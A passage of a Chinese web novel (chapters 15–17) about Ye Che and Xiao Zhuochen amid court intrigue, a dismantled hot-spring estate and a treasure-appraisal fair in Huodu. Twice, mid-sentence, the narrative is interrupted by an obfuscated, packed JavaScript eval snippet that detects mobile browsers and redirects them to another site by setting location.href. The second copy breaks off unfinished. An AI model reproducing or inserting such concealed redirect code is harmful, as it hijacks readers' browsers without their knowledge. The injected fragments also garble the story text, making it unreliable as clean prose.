,将城中一百多位年轻男女送给官员,买通官盐的输送关节,安插人手,中饱私囊,偷窃国库。如今沣水城民心不稳,我和尹源忙着安抚民心,陛下的人只要到这便会知道这段时间城里的流言蜚语。” 陛下不一定会在乎一个人口贩卖的案子,可若是关系到国库金银,必会出手彻查,叶澈一脸惊讶:“人是你送出去的?” 叶澈反应过来,城中流言引起的混乱恐怕是为了混淆尹源视线,等到他再注意到京城的事时为时已晚,陛下派来的人已在路上,只是……叶澈又问:“你不是公主的人吗?” 萧灼尘在沣水城明晃晃的保人作派,几乎就是在明说这事跟公主府脱不了干系,无论尹源如何,陛下都会借此机会大伤公主的势力,这无异于伤人一千自损八百。 见他已经反应过来,萧灼尘松开手,退后一步:“这不是你该关心的事,你只要知道,不要动尹源就行,他不会善了,他背后的那些人也不会。” 难得古道热心肠一回,却差点坏人大事,有什么比这更让人尴尬的呢?叶澈沉默片刻,还是如实说道:“大人,你早说清楚我就不会鲁莽行事了。” 他为人安全考虑,如今却被倒打一耙成了他的不是?萧灼尘气笑道:“那我跟你说别操心你怎么听不进去?” 说到这个他更有话说,叶澈借坡上驴追问道:“那周月呢?她到底去哪了?没被你……他们卖了?” 叶澈在对方越来越沉的脸色里声音渐小,还是说完了整句话:“周月的娘就是那么突然被卖的,我怀疑一下很正常。” 萧灼尘铁青着脸问:“你觉得我把她卖了?你这么不信任我?” “我为什么要相信你?”叶澈顺嘴而出,又迅速补充道,“你话都不说完整,很难让人信服。” 月光明亮,打在人脸上格外清晰,就像那晚叶澈赶回泉庄的时候,萧灼尘忽然明白他当时会回来的原因,这人为了一个面都没见过的人就敢冒险杀人,当初折返大概只是因为察觉不对,想到相识一场便来看看,萧灼尘有些自嘲地笑了笑:“不相信是对的,就当我卖了吧。” 屋里空气陷入凝滞,叶澈眼看着这人突然又闭口不谈的模样,忍了又忍,还是上前一步:“萧灼尘,信任不是盲目的,你说我就会信,为什么什么都不肯说?” 萧灼尘目光不错地看着他,重复道:“我说你就信,为什么?” 又是这种问题,萧灼尘总在问他为什么,为什么会回去?为什么关心?为什么会相信?叶澈轻叹口气:“萧灼尘,你身边有真正信任的人吗?” 他语气略带疑问,眼神却很肯定,你没有相信过人,所以太过执着想要一个理由。 叶澈干净的眼神在月光下格外耀眼,萧灼尘有些恍惚,突然抬手轻抚他的眉眼,低声问:“那我能相信你吗?” 萧灼尘突然放低的声音太有魅惑性,叶澈一晃神都没反应过来,等到眼皮传来粗糙的触感他才反射般退后两步,电光火石间他想起这些日子总是落在自己身上的眼神,还有赖凤时在临别时大咧咧直言的“喜欢男人”,叶澈脑子一热:“你也喜欢男人?” 萧灼尘的动作停在半空:“什么?” 叶澈这才发觉自己话里的唐突,他忙道:“不是,我的意思是,你动手动脚的习惯不好。” 好像这样的话也好不到哪去,叶澈抿抿唇又说:“夜深了,大人早点休息。” 萧灼尘这才开口:“周月有自己要走的路,她自己选的路,托我道别是真的,无需挂念。” 叶澈点点头,没再回头径直出了门。 萧灼尘看着人离开没说话,“你也喜欢男人?”这人的话还在脑中回荡,也喜欢?他喜欢男人?萧灼尘半垂着头,难得陷入沉思,所以他喜欢我? 因为喜欢,所以才回头?萧灼尘感觉得到血液逆流至耳边的冲击声,他喜欢我,才会总是相信我,我说什么都信? 是了,萧灼尘一直困惑的问题终于找到答案,他微微扬起嘴角,原来如此。 15. 偶遇 刺史府整夜安稳,萧灼尘听着屋外咋咋呼呼的声音醒来时,才突然想起今日他该与叶澈分别了,可这人的心思才被他撞破,想来会是感到难过的,看在他这次有功的份上,萧灼尘决定捎上人走一段,反正都得向东走,等到分岔路再找人送他一程,也是仁至义尽。 萧灼尘都能想象得到这人得了便宜后的狗腿脸,他敲了敲房门,日高三丈,这人再不起床他们今天出发的时间就太晚了,萧灼尘背着手等人开门,屋里没有声音,他又敲门,手下力气重了些,门顺势被推开。 屋里干净无尘,不像是有人住过一晚的模样,桌上用茶盘压着张纸,萧灼尘走近拿起来细看,“一路多谢大人照顾,山长路远,赶路要紧,有缘再见”,落款单字“澈”,萧灼尘捏着纸的手一紧,黑着脸将纸团成一团又铺展开。 叶澈是后半夜走的,他回房后辗转难眠,这一夜白忙活,想杀的人没杀成,心里却放松不少,许是发现萧灼尘没有与人同伥,周月的事也是误会。 只是叶澈在萧灼尘的再三确认下发现,他确实对那人有莫名的信任,也许是幼时短暂的相处,也许是宇文府是他遇见的第一批好人,叶澈躺在床上回想,无论是在京城还是沣水城,他对萧灼尘的态度都太过放心了。 这很危险,萧灼尘以为他是银钩门门主才会放纵他行事,还有银钩门,萧灼尘心思太沉,也不知道在算计些什么? 叶澈越想越清醒,干脆简单留个字拎上包袱直接出了府,眼不见为净,左右此间事情已了,也不知棠溪那边怎么样,他得尽快找人汇合。 趁着夜色清朗,叶澈连夜出城,萧灼尘在他门前敲门时他已经在理沣水城十里开外的地方了。 去沣水城的路上他们全程走的官道,路宽无阻,叶澈孤身一人朝符山方向赶路时哪快便走哪,小路钻得多,再经过定陶县时叶澈入城径直进了成衣店,换了身衣服打算继续赶路。 还没出城远处传来轰响,像是百年大树猛然倒地的动静,叶澈拉住路人问:“兄弟,那边怎么了?” 被拦下的人满脸笑容:“外地来的?老弟你运气好,我们这有泉庄要拆,里面的东西都值钱,你没事也可以去凑个热闹,说不定还能捡到明珠。” 叶澈往人群涌去的方向看去,那边,似乎是灵泽泉庄?叶澈到了附近,果然是灵泽泉庄,门口的石狮子歪到在旁,先前听到的巨响声应该就是石狮倒地撞到铜门的声音,两边的高墙已经破开了好几个洞,从庄里出来的男女老少都怀抱着不少东西,要不是每个人脸上都喜气洋洋的模样,十足是个入室抢劫的混乱现场。 叶澈拽住经过身边的妇人问:“这是怎么了?我听说这泉庄很有名,还想来泡个汤。” 妇人被他拦住以为要抢东西,神色警惕不少,听他说完才放松了笑道:“还泡什么,看不出这都倒了吗,再说,就算还开着,这地儿是县老爷那种大贵人才能来的地方,你来了也泡不上。” 叶澈又问:“那是县老爷让你们这样的吗?” 妇人急着把东西送回家再来,不欲与他多交谈便不耐烦道:“县老爷跑了,他管得着个屁,我忙着呢,别拦我!” 县老爷跑了?叶澈站在远处观望一会,见来凑热闹的人越来越多转身便走,萧灼尘故意选了这个地方假装受伤,想来这地儿也是有些问题,说不定这也在那人的算计之内,他只是路过,没必要牵扯太多。 途中听说沣水城州刺史因私下贩盐被抓,被押送到京城的路上遇到杀手身亡已是半个月后的事了。叶澈就着干粮听了一耳朵,没有听到人提人口贩卖的事,他面无表情嚼完那口干粮只觉得噎得慌。 一个人的力量太过弱小,他只能做个旁观者。 再接着马不停蹄向着符山的方向赶路,叶澈风餐露宿,伴着星空入眠,马蹄声响时他正半眯不眯的准备进入梦乡,来的人都身披重甲,长枪在手,一行人踩着早已熄灭的草堆灰快马掠过,叶澈坐在树上直到看不见这些人的身影后才麻溜下了树。 找到自己受惊的马安抚了好一阵,叶澈才换个地方重新上树歇息,为了隐秘行踪,这一路他几乎没走过大路,如今在这种小道都能遇见重兵,叶澈盖在树叶下的眼睛半睁着,世道愈发不安稳了,也不知还有几日太平日子。 叶澈再上路时便重新找回官道上,他离符山已经不远,需找地方给棠溪递个消息,顺便了解下最近哪里起了暴乱,惹得官兵大半夜赶路。 一路走走停停,直到半夜叶澈才到离符山最近的地方,霍都。 叶澈半夜进城,就近找了家客栈打算歇一晚明天再换个离银钩门分点近一些的地方。 才刚进门小二已经笑着迎上来:“客官咱们家房间已经满了,您要是想住房怕是得另找,要是想吃口暖和的咱们这啥都有。” 叶澈有些意外,霍都不是商路必经之地,如今天气渐冷出行的人应该更少才对,怎么会住满? 见他不信,小二笑道:“我们打开门做生意,咱能做肯定做,这不是沾京城那些大人们的光,前两天开始就都来这看我们这风水宝地了。” 叶澈找了个角落坐下:“这附近就你家还点着灯,我也是来看看这霍都的奇特,既然没地儿住,我在你这吃到天亮,小哥行个方便。” 说着他拿出碎银摆在桌面,小二见这人风尘仆仆,出手却很阔绰,也笑开颜:“那我给您拿点酒菜暖暖身子,我们掌柜的一般辰时起,您看着点时间。” 店里吃喝的人不多,正对着他的那方角落里坐着个皮肤黝黑的大汉,桌面摆着把黑色刀鞘的剑,看来是个行走江湖的常客,叶澈扫了一眼便转向坐在大堂正中的几人,应该是出门游玩的年轻公子哥,个个都玉冠青衣,讲话也是低声细语,似乎是觉察到他的目光,坐在最边上的年轻人扭头来看,叶澈在那人看过来时便垂下眼睛整理手边的包袱。 出门在外,最怕遇到这种身娇体贵的公子哥,入世未深又天真,沾上了便是麻烦。 不想麻烦主动走了过来,叶澈抬眼看向自顾自坐在他面前的年轻人,他笑道:“兄台也是来霍都玩的吗?” 这人故意压低了声音,脸面干净,未施粉黛,可叶澈一眼看出这是位姑娘,刚才离得有点距离他没细看,这会人离得近便看得清楚,这姑娘细皮嫩肉,手指娇嫩,必定是个养在深闺的主,叶澈看向大堂中频频回头看过来的几人,心中有了数,微微笑道:“姑娘,虽然不知道你们在玩什么,但我赶路很累,想自己待着。” 面前的姑娘大概没想到这人一下子就戳破自己,忽的涨红脸脸但还是礼貌回他:“抱歉,但你怎么看出我是女的,他们都说我这个扮相很男人了,我就是想看看他们是不是骗人才跟你搭话的。” 叶澈有些心累,只要不是个瞎子,应该都能看出这姑娘是女非男,他继续微笑:“主要是姑娘天生丽质,这种乔装打扮很难盖住你的美貌。” 小姑娘都爱漂亮,他多夸几句,敷衍几句,送走了事,没想到姑娘面色一喜:“听起来你很懂,你教教我,女装不方便,我想扮男装,我给你钱。” 叶澈敛了笑意,客气赶人:“我不懂,可能是游走江湖时间长,眼睛毒辣。” “方令冰”,又一个年轻人走来,小声道,“不是说问一下就走,你怎么聊上了?” 方令冰吃了个不软不硬的钉子正尴尬,来人送得正好,她一瞪眼,起身就走:“啰嗦。” 叶澈终于落个清净,小二的酒菜也送了上来,刚给自己倒了杯酒,有些耳熟的声音喊道:“叶澈!” 叶澈听说书人讲过,故友相逢,多是两眼热泪执手相看,此刻看着赖凤时神情激动眼眶含泪的奔着自己过来,他恍惚间站起来伸出手,又心生疑惑,他们算是朋友吗? 下一刻,赖凤时捏着他的肩膀恨恨道:“好你个叶澈,差点害死我。” 原来这热泪也不一定是开心,叶澈掰开他的手,冷静道:“好久不见,凤时。” 难得赖凤时没穿得像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492698|154769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个花蝴蝶,只简单裹了件银白披风,他“你”了半天还是挥手:“算了,反正你们都没事就行,小二再来壶酒。” 方令冰眼巴巴跟过来:“凤时哥,你们认识?” 赖凤时转身撒气:“大小姐,好好的女孩子做什么扮成这个鬼样子,这么晚了还不睡,这破地方有这么好玩?” 站在身边的年轻人走过来还没开口,赖凤时已经点了点他:“还有你,钱林,你也这么不懂事?深更半夜陪着这丫头瞎疯,我要是不下来找你们打算在这打地铺吗?都滚上楼睡觉去。” 原来这里店满是被这几人都包下了,叶澈重又坐下,自酌一口,看着这几人在面前耍猴,赖凤时声音不小,连那边江湖客都投来了目光,方令冰小声恼道:“嚷嚷什么,丢人!” 盯着几人先后上了楼,赖凤时这才转身坐到叶澈面前,酸道:“稀奇啊,银钩门门主也跑到这来了。” 这人怎么也说门主?叶澈心思一顿,福灵心至道:“你跟萧灼尘是一伙的?” 在京城时,赖凤时自由出入萧府,虽说打着找他的名头,但也太随心了些,还有上次在萧灼尘那儿打探这人的消息时,萧灼尘的态度像是对眼前的人很了解,叶澈疑心猛增,难道一直以来这两人都是一伙的,只是在他面前表演吵架不和? 赖凤时话到嘴边打了个转,他眯着眼看向叶澈:“你跟他才是一伙的吧,故意搞砸我在京城的聆音居,是不是为了壮大新燕馆的势力?你是一点不顾我死活,亏得我还把你当朋友,掏心掏肺对你好。” 见这人已有防范,叶澈也不纠缠,他笑道:“萧大人说了,只要太傅大人还在世,陛下就不会让你出事。” 在京城时赖凤时确实对他不错,叶澈又笑:“出门在外都是朋友,凤时,这里也不是京城,若不是记着你的好,那位贵人看到的字应该是‘民怨沸腾,人人可诛’。” 他当初是留了手的,只是拉个横幅字,公主再怎么生气也不会真的赐死赖凤时,再加上太傅爹,叶澈知道这人不会吃太多苦。 赖凤时点了点桌子,瞪着眼道:“那我还得多谢你手下留情,叶门主。” 叶澈:“客气。” 两人相视一笑,举杯碰了碰。 叶澈没有戳穿他当初的别有用心,赖凤时也没有事后在京城兴风作浪,无论他们真实的立场如何,今夜都只是意外的相逢。 至少在这一刻,他们能做聊得来的酒友。 叶澈换了个舒服的坐姿,懒懒开口:“我今夜可是要在这吃到天明的,要陪我吗?” 赖凤时挑眉:“你不问我为什么会在这里?” 屋里温暖明亮,叶澈整个人都很放松,他摇摇头:“我说了,这里不是京城,我也只是路过,下次还不知道什么时候再见,我们聊些闲话。” 他和萧灼尘既然一口咬定自己是银钩门门主,若是聊深了难免会起打探之心,他劳顿一路,这会想放空休息。 赖凤时见他真就半眯着眼想要打盹的模样,有些牙痒痒:“你不问,我偏要说。刚才那几人,都是京城里有头有脸家的公子,我们来霍都是听说符山有赏金大会,凑热闹来的。” 叶澈半眯的眼越睁越开,最后眼里一片清明,赖凤时见他清醒了便笑道:“叶兄既然困了那就早点休息,我也该睡了。” 见他准备离开,叶澈拉住他:“凤时,坐下说。” 赖凤时垂眼看他,语气得意:“你不是说不想知道?” 叶澈主动坦诚:“我真是路过,要去找家里人,萧大人都见过的,不信你回京城去问他。” 他可没有撒谎,他就是去找棠溪的,只是恰好棠溪也在符山,恰好他们原本去符山就是为了找找有没有金矿的事。 叶澈半仰着头看人时格外真诚,赖凤时看了他一眼才坐下:“勉强信你,你要是又骗我天涯海角都要追杀你。” 叶澈哭笑不得:“在京城我也没骗过你,不是,你说的赏金大会是什么?” 16. 巧啊 赏金大会其实不叫赏金大会,霍都当地富商司空家好收藏古玩孤品,每年都会举办奇宝品鉴大会,邀请江湖人士相互来观赏互拍,宝物有真有假,全看当事人的眼力劲,若能连续三年正确判断宝物真假,司空家会邀请有能之士入府。 据说司空家在符山有一处机关秘境,只有入府后通过考验的人才有资格进入,那些入府后又出来的能人面对这个问题全都闭口不谈,既不说真也不说假,只是回家后没多久便会成为当地颇有建树的商人,时间长了,品宝已经没那么重要,想办法成为司空家的座上宾才是众人心之向往。 今年是司空家举办大会的第九个年头,司空家家主却突然公示,这届奇宝品鉴大会将是最后一次举办,为了让最后一次的大会更有意义,所有的参会珍宝都需与金相关,其他珍宝都不接受。 消息一出,众人哗然,早已备好珍宝的人临时换宝,以往手头上没有奇宝的人也心思萌动,拎着金器就来凑热闹。 叶澈对于奇宝品鉴大会早有耳闻,只是银钩门小门小派,搜尽门众也难找出一个宝,他和棠溪曾疑心司空家与逍遥阁有关系,如今司空家这么大阵仗的来者不拒,说不定棠溪也还在这里。 只是没想到京城显贵们对这也这么有兴趣,想起赖凤时那随手扔的宝珠,叶澈问:“你也是来参会的?” 刚才还侃侃而谈的人忽然噤声,他闷头喝了两口酒才说:“你消息灵通,朝廷最近发生的事你知道多少?” 叶澈忙着赶路,这次还真没探听太多消息,但这人明摆着看他的口风再来说事,叶澈想了想拣起沣水城州刺史的事:“我从西边过来,沣水城州刺史名义上因为贩盐被抓,实际上是在当地做了很大的人口贩子,可能他身上牵扯到的利益关系太多,听说押送上京的路上已经被杀。” 说完叶澈观察着赖凤时的表情,见这人毫不意外的模样便明白,这人跟萧灼尘就算不是一路的,也是常有联系,尹源的事明面上就是贩盐问题,若不是他跟着亲身遭遇一回,人贩子的事也未必会流露出来,这人却明显知晓内情。 叶澈笑道:“凤时好像早就知道这事。” 赖凤时一愣,瞪他:“叶澈,你又玩心眼。” 叶澈摇摇头,笑意不减:“我说的都是实话,难道不是开诚布公吗?” 赖凤时却笑不出来,他叹口气:“你还记得在京城时苗若歌被打吗?这死心眼,后来还是找到陛下去查名单的事,他以遏制公主势力为名,让陛下允了他去查,尹源就是名单上的人之一,可这蠢货,不懂得见好就收,他把两边的人都得罪了干净。” 苗若歌借着陛下的名义,拔起西部私下贩盐的公主势力,转过脸便将京城连带着的高官们告了个遍,只说官官相护导致暗地交易不断,有损国威。本想给他奖赏的陛下当堂气得雷霆大发,不等苗若歌细数完各种罪状,又打五十大板后便发落了。 赖凤时瞥一眼楼上:“他被陛下贬出京城,终身不得再取功名。” 叶澈顺着他的目光看一眼:“苗大人也在楼上?” “这蠢货想不通”,赖凤时嘲讽笑道,“觉得自己一心为民,何至于此。” 苗若歌被打后不吃不喝不治,赖凤时实在看不下去他那活人微死的状态,便干脆借着霍都的热闹带着人向东来散心,那几个跟着来的少爷小姐们,半是钦佩苗若歌宁死不屈的勇气,半是真想看热闹,这才浩浩荡荡来了一大堆人。 是啊,何至于此?不过是生不逢时,徒有忠诚,叶澈也半晌无话,苗若歌太过清正,乱世之下过刚易折,他默了默又问:“明天我去看看他?” 赖凤时垂眼没答应:“等等吧,我问问他再说。” 苗若歌是存了死志的,赖凤时收到消息后赶去他的府邸时,府中本就不多的下人已经被他遣散,他躺在床上不动弹,浓重的血腥味几乎将人淹没,赖凤时都以为这人已经死了,伸手试探到微弱的鼻息时才放下心。 赖凤时踩着微醺的醉意上楼,刚进房间就听人冷笑:“赖老板久不归来,原来是在买醉。” 床上的苗若歌半卧在床上,他的伤从背到大腿处,新伤旧伤叠加在一块,要不是赖凤时重金良药救回来,他应该早就死了。 赖凤时被他话里的冷意刺到,走到床边坐下,看着眼前眉眼深邃的人没说话,他那时候费尽心思把人救回来,这人却不肯吃药,下人灌不进去便来找他,他怒气冲冲找过去,这人一副心灰意冷的模样:“赖老板,你何必救我,这世道不值得。” 是,这世道简直烂透了,宫中贵人们的吃穿用度极尽奢靡,陛下后宫纵欲,公主只管享受,有起义?镇压便是,有天灾?迁城就好,只要扰不到眼前,一切问题都不算大,这些人身居高位却从不关心民生,自小以来他听过多少“为天地立心,为生民立命”的言论,父亲每每下朝便长吁短叹,最后都化作一句“明哲保身为重”。 赖凤时以前只觉得这人天真,党羽斗争如此厉害的朝野下他居然想做个廉正清官,可看着这人为了查案日夜不休,孤身一人也无所畏惧的模样,他确实有所动摇,这样的人,不该就这么死了。 所以他想救他,这世道容得下那么多烂人,凭什么容不下苗若歌这样的人。 赖凤时先是好言相劝,奈何苗若歌轴的要死,见他油盐不进的模样赖凤时也来了气,既然道理说不通,那就不说了,反正先活着比什么都重要。气头上的赖凤时瞅准机会猛灌一口药,捏着他不由分说渡过去。 苗若歌本就乏力,又被他突然的行为惊到,一口药就这么意外下肚,赖凤时见终于灌进去药,故技重施,刚开始确实是正经灌药,可苗若歌反应过来后想推开他,手上无力张嘴便咬,赖凤时吃痛也恼,竟不管不顾咬了回去,苗若歌受惊更重,吓得又咽了药。 再后来赖凤时也不知道自己究竟是想打架还是要喂药,一碗药就这么被他半咬半亲全灌下去,等他反应过来自己的行为和登徒子没有区别时已经晚了,苗若歌面色赤红,肿着的嘴微微颤抖:“疯子,疯子。” 那次过后苗若歌终于老实吃药,但再见他时便没再给过他一个好脸色,说话也是夹枪带棒的讽刺模样,赖凤时也不在意,只要这人好好恢复身体,他们又不是一辈子都要在一起的,等他解开心结两人就分道扬镳,就当是自己做善事。 这会坐在苗若歌床边,赖凤时轻笑:“不知道的还以为你在等我回来,药吃完了吗?” 出京后赖凤时只得自己来盯人吃药,刚就是趁着人晾药的时间抽空看了眼楼下,没想到那几个小崽子都没休息,他下楼赶人却意外发现叶澈。 叶澈是个不错的酒友,赖凤时聊得尽兴喝得也尽兴,这会说话便带了点倦意,他扫了一眼空药碗,半眯着眼靠在床脚:“遇到了叶澈,他想见你,你想见他吗?” 苗若歌嫌弃地扯过被人压住的被子,大部分时候他都只能趴着,最近才能侧卧睡觉,只是依然睡不好,闭上眼思绪就会变乱,有时是在金銮殿,有时是百姓们泣泪状告时的模样,有时什么都没有,他语气不耐:“我这副模样,他见我干什么!” 赖凤时睁开眼看他:“你什么模样?” 他什么模样?他自己也不知道,苗若歌陷入沉默,他想为百姓做点事,可结果总是不好,他想效忠君主,可君恨不得臣死,后来他想死,却有人拉着他不让他死,他自问无愧于心,无愧于天地,可现在连自己的模样都看不清。 没能等到回应,赖凤时又慢慢阖上眼:“你这一生太过顺利,苗若歌,走出来看看,这天高海阔,你哪里不能去,以你的才智和韧性,又何必把希望寄托在别人身上,这世道值不值得,你真正走进去了再说,不要高坐庙堂之上,捧着圣贤书,不要这么早妄下结论。” 若是放到平时,赖凤时是断然不会说这些话的,万一那句话说得不对刺激到人就坏了,也许夜太深,跟叶澈聊得太多,他话也多了些。 苗若歌垂眼看他没说话,赖凤时呼吸渐重,似乎就这么睡了过去,苗若歌犹豫半晌还是没将人推醒,只是顺手往他身上扔了被子,便也自顾闭了眼。 叶澈打了个盹便趁着天刚亮离开了客栈,他给赖凤时留了口信,打算等找到棠溪便回来看看那位苗大人。 自进入银钩门的势力范围后,棠溪就断断续续给他递过不少消息,只是他走的路太偏,收到的消息几乎都慢人好几步,紧赶慢赶也没彻底追上棠溪。 棠溪来霍都是为了找石忘忧,银钩门的白虎使,一个最讨厌叶澈的人。石忘忧是在老门主去世前一年加入的银钩门,棠溪继任后,他们两人成为了她的左膀右臂,石忘忧尚武好斗,看不惯叶澈事事都要思虑再三的谨慎,在棠溪身边时便常起口舌之争。 后来棠溪便将人调离,直接分管东边的据点,算起来叶澈也有两年多没见过这人了。 城东的铁匠铺炉火正旺,风箱轰动,火花四溅,叶澈绕过在门口闲聊的人群,跟人对过暗号后直奔后院,正在收拾库房的人迎上来,抱拳行礼:“青使。” 这人叫于喆,是石忘忧身边最得力的人,叶澈有些意外:“门主和白虎使离开霍都了吗?” 于喆摇头,面色凝重:“司空府的鉴宝大会开放报名,他们前日去了司空府后就没再回来,走之前门主吩咐过,大会期间不用找他们,如果大会结束他们没回来就通知您,青使,我觉得这次的鉴宝大会很奇怪。” 鉴宝大会为期半个月,七日时间内广发邀请帖,有兴趣的人都可以报名参加,剩下的时间便是层层评选,第一层评选是往届辨宝人对宝物初步筛选,第二层评选是司空家家主评定,第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再醒来时他眼前一黑,短暂的心慌过后叶澈才反应过来不是眼睛又瞎了,是有人用黑布蒙住他的眼睛,叶澈定定心神,自忖最近被人下黑手的次数是不是太多了?谋财?剩得不多的银两拿走便是,绑他干什么?难道是沣水城的人寻仇?可怎么寻也轮不到他身上才对,想来想去,他最近并无树敌,实在没有头绪。 他听得屋里有细碎动静,便试探清清嗓:“敢问在下是冲撞了哪路英雄?” 男人故意压低的声音响起:“少废话,问你几句话。” 叶澈扯了扯嘴角:“只是问话,英雄不必这么费心思,若我知道必定知无不言。”他扬起被反绑着的手掌,意外发现绳结并不牢固。 男人的声音近了些:“别乱动,你打不过我,挣开了我就给你重绑。” 好汉不吃眼前亏,叶澈点头,见他老实下来男人才说:“你什么时候到的霍都?” 这是什么问题?叶澈回他:“昨夜。” 男人又问:“去过司空府吗?” 叶澈:“没有。” 男人默了片刻才说:“想去吗?” 叶澈彻底沉默,这个时候还发现不了问题那他这些年的江湖便是白混了,他无语开口:“你是萧灼尘的人?” 有人伸手拿下他眼前的黑布,乍见光明叶澈惯性眯了眯眼,萧灼尘在五步开外的桌边抬手示意:“好巧。” 好巧?他遇到赖凤时可以说一句“好巧”,这人明目张胆将人绑来,还敢说好巧?颈后还有隐隐酸痛感,叶澈平缓内心情绪,语气平淡:“你是不是有病?” 萧灼尘挑眉看他,面前人闻言一愣,回头看了眼才蹲在一边解开他手上的绳结,叶澈这才看清是那个叫霜刀的侍卫,他想起棠溪留的话,手刚抽出来便出其不意攻向这人面部,霜刀反应很快,仰头向后的同时已经抬手格挡,拦住了他的攻势又顺势掐住叶澈手上的命门。 不等叶澈有其他动作霜刀已经松手退至萧灼尘身后,叶澈垂眼转了转手腕,这人刚才惯性反应出的是杀招,只是理智收手没有伤人,霜刀的声音不再刻意压低,转向萧灼尘:“我没伤到他。” 叶澈抬头看他:“怎么没伤?你下手重,我脖子感觉要断了。” 萧灼尘示意他出去,待门关上才说:“霜刀出手有轻重,是我没说清楚,他才用这种法子请叶门主过来,抱歉。” 粗鲁,但最有效,谁让这人当时不告而别的。 叶澈看他一脸笑意,实在不像是感到抱歉的模样,坦然道:“没关系,我已经习惯大人恃强凌弱的姿态,大人的官威草民早有领悟。” 眼见面前人的脸渐渐变黑,叶澈心气顺了不少,自顾自走到桌边喝了口茶才施施然开口:“怎么,大人想去司空府?” 17. 帮忙 萧灼尘是刚到霍都,他这趟来是要找司空家家主司空仓讨个东西,叶澈奇怪问:“大人拿出身份去要不就好了,做什么偷偷摸摸?” 刚被讽刺了爱摆官威的萧灼尘面色一沉,有些没好气:“这你别管,总之,你带我进去就行。” 萧灼尘找他是想借着叶澈的名头混进府里就行,这对叶澈来说不过是举手之劳,萧灼尘料想他必会答应。 “不行。”叶澈断然拒绝。 萧灼尘难以置信:“不行?你不信我?”再说他不是喜欢自己吗?怎么拒绝得如此干脆? 叶澈已经继续说:“大人,我跟你说过,信任不是盲目的,你什么都不说,只让我带你进去,我不同意。” 萧灼尘这人藏着的秘密太多,叶澈不想再分心神操心,有没有这个人,他都会想办法进司空家,叶澈并不指望着这人实话实说,只想找个理由先拒绝。 不料萧灼尘沉默片刻,突然开口:“陛下想要迁都,公主不赞成,司空仓手里的东西关系到要不要迁都一事,不可对外声张,霜刀去司空府探过,那里守卫森严,硬闯或是以官压人都不一定能拿到东西,我不做那么没把握的事情,所以需要你的帮助。” 叶澈还没从他和盘托出的诚实里清醒,就被他的话打得晕头转向:“迁都?迁去哪儿?为什么要迁都?”迁都与否跟地方富商有这么要紧的关系吗? 这次萧灼尘直视着他没说话,见他冷静下来才又开口:“叶澈,若你是真的想知道,我可以都告诉你,可如果有朝一日不该被人知道的消息是从你这里流出去,就算是你,我也会杀了你。” 面前人目光深沉,没有以往的阴郁眼神,却威严不减,叶澈知道他说的是实话,也正色道:“明白了,我不想知道,混进司空家对吧?这事我来办。” 萧灼尘心下舒一口气,又隐隐有些失望,叶澈若要追根问底,他真的可以都说出来,时机到后他本来就要全都告诉银钩门门主,现在只是吓唬人以免坏事,这人这么胆小也不知道怎么坐上门主位置的。 叶澈又问:“但是大人,我不太明白,赖凤时不是你的人吗?你找他不是更方便?” 萧灼尘看着这人明显的套话姿态,默默收回内心认为这人胆小的评价,是他忘了,这人从第一次见就没怕过,后退只是假象,他早晚会明着暗着挖消息,想到这萧灼尘心情也愉快不少,他笑道:“有银钩门门主在此,哪里需要别人。” 见他没有否认,叶澈心中讶然,赖凤时在他面前都不认的事,这人现在却间接承认了,他按下复杂的心绪,回了萧灼尘给他开好的房间。 霜刀在他走后敲门而入:“公子,赖公子那边需要我去一趟吗?” 萧灼尘似乎在认真思考:“他自己会去的,霜刀,你觉得我恃强凌弱吗?” 霜刀回得很快:“公子要真是那种人,我也不会跟您这么多年。” “他说……”萧灼尘淡了声音,没再往下说,霜刀想起叶澈的话,看了一眼现在好像并不是很生气的人,这才开口:“叶门主骂您您都不生气,他应该是随口一说。” 萧灼尘睨他一眼:“就你聪明,我说了是他吗?” 这下好像真生气,霜刀往后退一步:“公子早些休息,我也回房休整。”说着逃也似的奔出门。 “臭小子。”萧灼尘微扬嘴角,又顿住淡去,也好,等事情都了结,他大概会死于非命,现在看来这人对自己的喜欢也没多深,这样也好,他不用担心没心肝的会难过,最后的相处自己也能活得肆意些。 萧灼尘闭上眼,敛了眼中情绪,再睁眼时又是讳莫如深的样子。 再到客栈时,店小二认出了叶澈,笑着凑近:“客官找到住的地儿了?” 叶澈朝着空中虚指一个方向:“离得不远,昨夜多谢你,我来找赖公子。” 店小二半夜看了他们好友相聚的热闹,这会了然朝楼上努努嘴:“赖公子正在跟他们那小姑娘吵架呢,要不我给你张罗个地儿坐着等。” 被冷落的萧灼尘冷冷插嘴:“是看不到我吗?” 小二忙不迭拱手迎道:“小的怠慢,两位客官往里请。”他见这人跟着叶澈,想着是一道的便没过多招呼,哪想到人突然发难,小二有些紧张,掌柜的要是知道了又得骂他一顿。 叶澈拍拍他肩膀:“没事,他是冲我发脾气,不会为难你,有劳你等会给赖公子说声。” 小二小心看了看萧灼尘脸色,见他确实没有继续找麻烦的意思,将他们带到座位上便一溜烟跑了。 叶澈叹口气,给这位不知道怎么突然耍起少爷脾气的大人倒了杯茶才说:“大人,您要是不愿意跑这一趟,在客栈等我就好。” 他们是来找赖凤时要珍宝的,萧灼尘来得急,全身上下除了金簪没有准备其他的金类奇宝,赖凤时从京城大包小包跑来看热闹,想必有所准备。 萧灼尘横眉看他:“出门在外叫公子,生怕别人不知道我是官?” 所谓蹬鼻子上脸,说的就是这种人,叶澈将那杯茶收回,自己喝了一口:“既然如此,那就直呼姓名,不是我不尊重大人,不过去司空府你是跟着我的,萧灼尘,哪有我反叫你公子的道理。” 